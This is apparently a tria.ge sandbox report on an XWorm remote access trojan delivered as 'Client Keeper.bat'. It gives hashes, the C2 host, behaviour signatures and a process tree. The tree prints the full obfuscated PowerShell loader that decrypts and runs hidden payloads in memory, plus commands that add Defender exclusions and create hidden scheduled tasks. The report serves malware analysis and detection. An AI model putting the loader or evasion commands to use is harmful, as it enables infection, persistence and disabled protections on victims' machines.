Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    14s
  • max time network
    16s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/09/2024, 12:57

General

  • Target

    Client Keeper.bat

  • Size

    442KB

  • MD5

    ccf46201786b2facd7b19ea6129944da

  • SHA1

    25e51f0e98977de48e111773058cc1b70ced0892

  • SHA256

    74cdc51bc00b8f596fb764469b16ec2edb336cf9f151697ff984a5081c3204d6

  • SHA512

    43a92ed1caf5a517e4e1506127b96b07c75458701e4d0b0556fc79694866fb27089ed919688c7ff68c7c2a87b51ef2e635d85bfa8a5aa860f132bfb1fbe13675

  • SSDEEP

    6144:7iCje5mpo5kEu3ojrKYMwoocilcJohGUMJb0YXZyDC3ntd0FqT/G+PYDKhJaltT7:Xi5mpJEu3mkR4LMxZye3ntqFKFPTjWZ

Malware Config

Extracted

Family

xworm

C2

manufacturer-rank.gl.at.ply.gg:60383

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client Keeper.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('o1j2aeFxATS/LMnhyTtPZh88JKeZO7a/GlRllyMvGKg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OkQnfLRJOt+ggCAP/xzZGA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QmUAh=New-Object System.IO.MemoryStream(,$param_var); $PKXDP=New-Object System.IO.MemoryStream; $nocnw=New-Object System.IO.Compression.GZipStream($QmUAh, [IO.Compression.CompressionMode]::Decompress); $nocnw.CopyTo($PKXDP); $nocnw.Dispose(); $QmUAh.Dispose(); $PKXDP.Dispose(); $PKXDP.ToArray();}function execute_function($param_var,$param2_var){ $RADPl=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qkeSZ=$RADPl.EntryPoint; $qkeSZ.Invoke($null, $param2_var);}$JTvsg = 'C:\Users\Admin\AppData\Local\Temp\Client Keeper.bat';$host.UI.RawUI.WindowTitle = $JTvsg;$zlCYh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($JTvsg).Split([Environment]::NewLine);foreach ($GJRIG in $zlCYh) { if ($GJRIG.StartsWith(':: ')) { $PnLCB=$GJRIG.Substring(3); break; }}$payloads_var=[string[]]$PnLCB.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3820
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_67_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_67.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3500
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_67.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3460
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_67.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3216
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('o1j2aeFxATS/LMnhyTtPZh88JKeZO7a/GlRllyMvGKg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OkQnfLRJOt+ggCAP/xzZGA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QmUAh=New-Object System.IO.MemoryStream(,$param_var); $PKXDP=New-Object System.IO.MemoryStream; $nocnw=New-Object System.IO.Compression.GZipStream($QmUAh, [IO.Compression.CompressionMode]::Decompress); $nocnw.CopyTo($PKXDP); $nocnw.Dispose(); $QmUAh.Dispose(); $PKXDP.Dispose(); $PKXDP.ToArray();}function execute_function($param_var,$param2_var){ $RADPl=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qkeSZ=$RADPl.EntryPoint; $qkeSZ.Invoke($null, $param2_var);}$JTvsg = 'C:\Users\Admin\AppData\Roaming\startup_str_67.bat';$host.UI.RawUI.WindowTitle = $JTvsg;$zlCYh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($JTvsg).Split([Environment]::NewLine);foreach ($GJRIG in $zlCYh) { if ($GJRIG.StartsWith(':: ')) { $PnLCB=$GJRIG.Substring(3); break; }}$payloads_var=[string[]]$PnLCB.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4524
            • C:\Users\Admin\AppData\Local\Temp\PNG.exe
              "C:\Users\Admin\AppData\Local\Temp\PNG.exe"
              6⤵
              • Checks computer location settings
              • Drops startup file
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3256
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\PNG.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4784
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'PNG.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4376
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System User'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4672
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5116
              • C:\Windows\System32\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\Admin\AppData\Roaming\System User"
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3832

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    661739d384d9dfd807a089721202900b

    SHA1

    5b2c5d6a7122b4ce849dc98e79a7713038feac55

    SHA256

    70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

    SHA512

    81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    eb1ad317bd25b55b2bbdce8a28a74a94

    SHA1

    98a3978be4d10d62e7411946474579ee5bdc5ea6

    SHA256

    9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98

    SHA512

    d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    dbbf71e9fb59f80938f09809b160e441

    SHA1

    8b9a517d846cb9a0a284f77ed88328236a85055f

    SHA256

    e1de59d46c7c47af2d62f7754524b080a706be6b38d55a03733a10c3675598b1

    SHA512

    90b75d43ddb81c710fb8fe2fd15b5c05181c774d3f401e47862006adb1703bc65ad8fead4aaf7a28b8e2bbe7249f3de998bd9432c1e62fa8718a19dacc4b8840

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    c84d323a1972e30971e8535cb51648ab

    SHA1

    ade49fa62de6a92be9f8d869c039cb4449537809

    SHA256

    b6f9bea53be6ed16a77930454b3f1f1c0db0ee5d34f539c4c51263f8adbc7743

    SHA512

    b0cc02f7ebb086474488b6a7ac0da6591ce4a495a4ea0bbd67af720198f1e1d2e2baebe49eee52faa911adc3425bc0a6de7d18870f2daf6c9ad8c4ccf168fb7e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    77d622bb1a5b250869a3238b9bc1402b

    SHA1

    d47f4003c2554b9dfc4c16f22460b331886b191b

    SHA256

    f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

    SHA512

    d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    fd98baf5a9c30d41317663898985593b

    SHA1

    ea300b99f723d2429d75a6c40e0838bf60f17aad

    SHA256

    9d97a5bbc88fdcceac25f293383f7e5ce242675460ffbfb2ee9090870c034e96

    SHA512

    bf4dbbd671b5d7afb326622a7c781f150860294d3dba7160330046c258c84a15981c70e50d84dc7faaa7cc8b8c90bf8df818b3f2d3806a8a3671dfe5e38fe7b0

  • C:\Users\Admin\AppData\Local\Temp\PNG.exe

    Filesize

    437KB

    MD5

    3c21cd756c5f0ae7ac13dd21b086e53b

    SHA1

    4216831c140c537e19c9f66e845583f2231e2435

    SHA256

    aab3729408b3b167f77a291abdd6becd043066521880b911c5e29115cdebea04

    SHA512

    42d717e11b61fefc29e64d3b6a17eb97f7f67a8fde4a9f01f0f92ce647ba4d19e2e2aa68c9964023985678ec15427953d543f78fa4ee037971901244ba5da77f

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kr0muzyd.44u.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_67.bat

    Filesize

    442KB

    MD5

    ccf46201786b2facd7b19ea6129944da

    SHA1

    25e51f0e98977de48e111773058cc1b70ced0892

    SHA256

    74cdc51bc00b8f596fb764469b16ec2edb336cf9f151697ff984a5081c3204d6

    SHA512

    43a92ed1caf5a517e4e1506127b96b07c75458701e4d0b0556fc79694866fb27089ed919688c7ff68c7c2a87b51ef2e635d85bfa8a5aa860f132bfb1fbe13675

  • C:\Users\Admin\AppData\Roaming\startup_str_67.vbs

    Filesize

    114B

    MD5

    65710b3ac861e19ef1a2fb6e63a51942

    SHA1

    f690f4f0ba2067012bb874a603af3ea42e37a053

    SHA256

    a6fe932aceb42c2891cfc0991086e47340e993dca2b0f9f603cd5ef276f744bf

    SHA512

    82ac28bb8ba3f718c34107c1fd2971872b013b288ef4722c5bc537b66b0ff763ef3a47967dffa5fc82070dad4d17690b36df4d37af2f067c39e8209bac7076d8

  • memory/3256-64-0x00000000002A0000-0x0000000000314000-memory.dmp

    Filesize

    464KB

  • memory/3500-30-0x00007FFB94380000-0x00007FFB94E41000-memory.dmp

    Filesize

    10.8MB

  • memory/3500-27-0x00007FFB94380000-0x00007FFB94E41000-memory.dmp

    Filesize

    10.8MB

  • memory/3500-26-0x00007FFB94380000-0x00007FFB94E41000-memory.dmp

    Filesize

    10.8MB

  • memory/3500-25-0x00007FFB94380000-0x00007FFB94E41000-memory.dmp

    Filesize

    10.8MB

  • memory/3820-13-0x0000018245030000-0x0000018245038000-memory.dmp

    Filesize

    32KB

  • memory/3820-50-0x00007FFB94380000-0x00007FFB94E41000-memory.dmp

    Filesize

    10.8MB

  • memory/3820-14-0x000001825F480000-0x000001825F4D6000-memory.dmp

    Filesize

    344KB

  • memory/3820-0-0x00007FFB94383000-0x00007FFB94385000-memory.dmp

    Filesize

    8KB

  • memory/3820-12-0x00007FFB94380000-0x00007FFB94E41000-memory.dmp

    Filesize

    10.8MB

  • memory/3820-11-0x00007FFB94380000-0x00007FFB94E41000-memory.dmp

    Filesize

    10.8MB

  • memory/3820-10-0x0000018245000000-0x0000018245022000-memory.dmp

    Filesize

    136KB

  • memory/4524-49-0x00000215C9E70000-0x00000215C9E9E000-memory.dmp

    Filesize

    184KB